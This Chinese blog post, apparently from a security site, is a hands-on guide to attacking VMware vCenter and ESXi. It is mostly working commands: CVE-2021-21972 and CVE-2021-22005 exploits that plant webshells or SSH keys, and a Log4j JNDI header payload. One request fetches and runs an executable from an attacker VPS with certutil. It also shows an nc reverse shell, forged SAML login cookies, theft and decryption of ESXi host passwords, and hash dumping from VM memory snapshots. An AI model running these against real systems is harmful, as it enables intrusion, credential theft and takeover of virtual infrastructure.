<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Vcenter實戰利用方式總結

    VSole2022-10-24 09:43:15

    0x00 前言

    在內網滲透中常常會碰到VmwareVcenter,對實戰打法以及碰到的坑點做了一些總結,部分內容參考了師傅們提供的寶貴經驗,衷心感謝各位師傅!

    0x01 指紋特征

    title="+ ID_VC_Welcome +"
    

    0x02 查看Vcenter版本

    /sdk/vimServiceVersions.xml
    

    0x03 CVE-2021-21972

    影響范圍

    • vCenter Server7.0 < 7.0.U1c
    • vCenter Server6.7 < 6.7.U3l
    • vCenter Server6.5 < 6.5.U3n
    /ui/vropspluginui/rest/services/uploadova
    

    訪問上面的路徑,如果404,則代表不存在漏洞,如果405 則可能存在漏洞

    windows機器:

    漏洞利用:

     https://github.com/horizon3ai/CVE-2021-21972
    python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp
    -t (目標地址)-f (上傳的文件)-p (上傳后的webshell路徑,默認不用改)
    

    上傳后的路徑為

    https://x.x.x.x/statsreport/gsl.jsp
    

    完整路徑為

    C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport
    

    Linux機器:

    1、寫公私鑰(需要22端口開放)

    python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub
    

    2、遍歷寫shell(時間較久)

    https://github.com/NS-Sp4ce/CVE-2021-21972
    

    0x04 CVE-2021-22005

    影響范圍

    • vCenter Server 7.0 < 7.0 U2c build-18356314
    • vCenter Server 6.7 < 6.7 U3o build-18485166
    • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
    • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
    • 6.7 vCenters Windows版本不受影響

    漏洞利用:

    https://github.com/r0ckysec/CVE-2021-22005
    cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell
    

    https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py
    python cve-2021-22005.py -t https://x.x.x.x
    

    連接webshell

    https://x.x.x.x/idm/..;/test.jsp
    

    上傳后的webshell完整路徑為

    /usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp
    

    0x05 CVE-2021-44228

    利用log4j漏洞,漏洞觸發點為XFF頭部

    GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: 192.168.121.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDnt: 1X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Te: trailersConnection: close
    

    DNSlog探測漏洞是否存在

    X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
    

    使用 JNDIExploit 工具,-u 查看可執行命令

    漏洞利用:

    java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIPX-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}cmd:
    

    cs上線

    GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: 192.168.121.142User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDnt: 1cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe &amp;&amp; C:\Users\Public\1.exeX-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Te: trailersConnection: close
    

    Linux使用反彈shell命令

    nc -e /bin/sh 10.10.10.10 8888nc -lvp 8888
    

    彈回來若是非交互式shell沒有回顯,使用以下命令切換為交互式

    python3 -c 'import pty;pty.spawn("/bin/bash")'python -c 'import pty;pty.spawn("/bin/bash")'
    

    0x06 獲取vcenter-web控制臺權限

    重置密碼

    比較快的一種方法,但是修改之后無法獲取原來的密碼,管理員會發現密碼被改

    選擇3選項,輸入默認administrator@vsphere.local(需要管理員權限)

    #Linux /usr/lib/vmware-vmdir/bin/vdcadmintool 
    #Windows C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
    

    cookie登錄

    通過解密數據庫登錄獲取cookie,再用cookie登錄web

    解密腳本:

    https://github.com/horizon3ai/vcenter_saml_login

    python vcenter_saml_login.py -p data.mdb -t 10.9.16.11
    

    然后會生成相應的cookie,訪問 ui 路徑進行 cookie 替換即可

    #Linux/storage/db/vmware-vmdir/data.mdb#windowsC:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
    

    使用小餅干替換cookie,成功登錄

    windows運行腳本需要安裝對應版本的python-ldap

    https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whlpip install -r requirements.txt
    

    實際測試過程中發現windows的data.mdb文件過大,拉回來不是那么方便,適合Linux機器

    這時候如果目標機器上裝有python環境,可使用3gstudent師傅的腳本進行利用

    https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
    python vCenter_ExtraCertFromMdb.py data.mdb
    

    運行腳本會生成三段證書文件,放置到相應的位置

    https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py
    python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt
    

    不重置獲取密碼(ESXI)

    查看域

    #Linux/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
    #windowsC:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhostC:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost
    

    坑點:由于路徑中間存在空格,導致識別不了

    解決方法:使用雙引號對含有空格的路徑進行單獨處理

    1、獲取解密key

    #Windowstype C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
    #Linuxcat /etc/vmware-vpx/ssl/symkey.dat
    

    2、獲取數據庫賬號密碼

    vcenter默認數據庫文件存放在vcdb.properties,配置文件中有數據庫的明文賬號密碼

    #Linuxcat /etc/vmware-vpx/vcdb.propertiescat /etc/vmware/service-state/vpxd/vcdb.properties
    #Windowstype C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.propertiestype C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
    

    默認是postgresql數據庫,只能在vCenter服務器本地登錄,執行語句查詢ESXI的密碼

    #psql默認存放位置Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exeLinux: /opt/vmware/vpostgres/9.3/bin/psql
    #執行語句查詢psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" &gt; password.enc
    #執行完會輸出一段加密字段Command&gt; shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" &gt; password.encShell access is granted to rootPassword for user vc: ip_address  | user_name |                                         password                                      -------------+-----------+---------------------------------------------------------------------------------------192.168.1.1 | vpxuser   | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==192.168.1.2 | vpxuser   | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==192.168.1.3 | vpxuser   | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==192.168.1.4 | vpxuser   | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==(4 rows)
    #只保留password字段*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
    

    在實際情況中也碰到使用 MSSQL 數據庫的情況,這時候直接使用 navicat 進行連接,搜索 VPX_HOST 表

    3、使用腳本解密

    https://github.com/shmilylty/vhost_password_decrypt
    
    • password字段放到password.enc里面
    • symkey.dat為第一步獲取的解密key

    python decrypt.py symkey.dat password.enc password.txt
    

    執行腳本后,會輸出一個password.txt,里面存放著對應 ip_address 的 ESXI 機器密碼

    4、登錄ESXI

    在 ESXI 機器地址后面添加 /ui ,訪問web控制臺,賬密為 vpxuser/password.txt里的密碼

    解密出來的密碼除了可以登錄web控制臺以外還可以ssh登錄機器,不過需要服務里開啟 SSH 安全shell

    0x07 獲取虛擬機權限

    登錄web控制臺后,想要獲取某個虛擬機的權限,比如說目標系統為靶標

    選擇目標虛擬機,操作生成快照

    到數據存儲位置找到相應的快照文件

    也可以通過 ssh 登錄ESXI服務器上,通過 find 找出相應的 vmem 和 vmsn 文件拷貝到本地

    find / -name "*.vmem"
    

    https://www.volatilityfoundation.org/releases

    使用 volatility 工具查看 profile

    volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo
    

    讀取注冊表

    volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist
    

    獲取hash并解出密碼

    volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010
    

    Vcenter綜合利用工具

    包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005,提供一鍵上傳webshell,命令執行或者上傳公鑰并使用SSH連接的功能。

    pythonvcenter
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在內網滲透中常常會碰到VmwareVcenter,對實戰打法以及碰到的坑點做了一些總結,部分內容參考了師傅們提供的寶貴經驗,衷心感謝各位師傅!
    vCenter Server 常用攻擊手法
    VMware vCenter漏洞實戰利用總結
    Vcenter一般指VMware vCenter Server,其提供了一個可伸縮、可擴展的平臺,為虛擬化管理奠定了基礎,可集中管理VMware vSphere環境,與其他管理平臺相比,極大地提高了IT管理員對虛擬環境的控制,Vcenter可以使管理員從一個位置深入了解虛擬基礎架構的集群、主機、虛擬機、存儲、客戶操作系統和其他關鍵組件等所有信息。
    VMware Inc. 是一家軟件公司。它開發了許多產品,尤其是各種云解決方案 。他的云解決方案包括云產品,數據中心產品和桌面產品等。
    VMware vCenter Server 提供了一個可伸縮、可擴展的平臺,為虛擬化管理奠定了基礎。可集中管理VMware vSphere環境,與其他管理平臺相比,極大地提高了 IT 管理員對虛擬環境的控制。
    后續會集成基于CVE-2021-21985一鍵添加管理員用戶的功能,這樣就不必非要先拿shell,再通過python在服務器執行ldap_adduer腳本了,總之有更好的方式。后續Vmware workstation One Access ...VMware vRealize Operations Manager ...1.它是什么一款針對Vcenter(暫時)的綜合驗證工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-2205,提供一鍵上傳webshell,命令執行或者上傳公鑰并使用SSH連接的功能,以及針對Apache Log4j CVE-2021-44228漏洞在Vcenter上的檢測和驗證。
    筆者在對volatility工具進行了解后,對分析vmem文件的手法進行了一定優化,可以提升解決鎖屏問題的效率。不過官方團隊并沒有打包volatility3的可執行程序,原因寫的是打包出來的packages會被識別為惡意軟件,解決了這個問題就會出可執行程序了。過程思路一、直接在esxi中部署volatility3項目Linux環境下的esxi,這個思考很快就被證明不太可行了,volatility3需要多個系統庫和pip庫:yum install zlib &&\yum install zlib-devel &&\yum install bzip2-devel &&\yum install ncurses-devel &&\yum install sqlite-devel &&\yum install readline-devel &&\yum install gcc &&\yum install libffi &&\yum install libffi-devel &&\yum install gcc-c++\yum install openssl-devel\yum install tk-devel
    VMware vCenter Server 提供了一個可伸縮、可擴展的平臺,為虛擬化管理奠定了基礎。
    它的云解決方案包括云產品,數據中心產品和桌面產品等。它包括了 vCenter Server, ESXi 和 vSphere client,是整套虛擬化部署方案的總和。是 vSphere 中最重要的一個組件。而 vSphere client 有更加詳細的性能監控,批量更新接管所有 ESXi 系統版本。在 6.0 版本之后,官方已經取消了 C/S 架構的客戶端,轉而采用了 web 管理平臺,又被稱之為 vSphere web client。官方推薦將打包好的 Client 與 Server 應用部署在 VMware 自家的 Photon 系統下,其安裝包命名為:VMware vCenter Server Appliance,簡稱為:VCSA。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类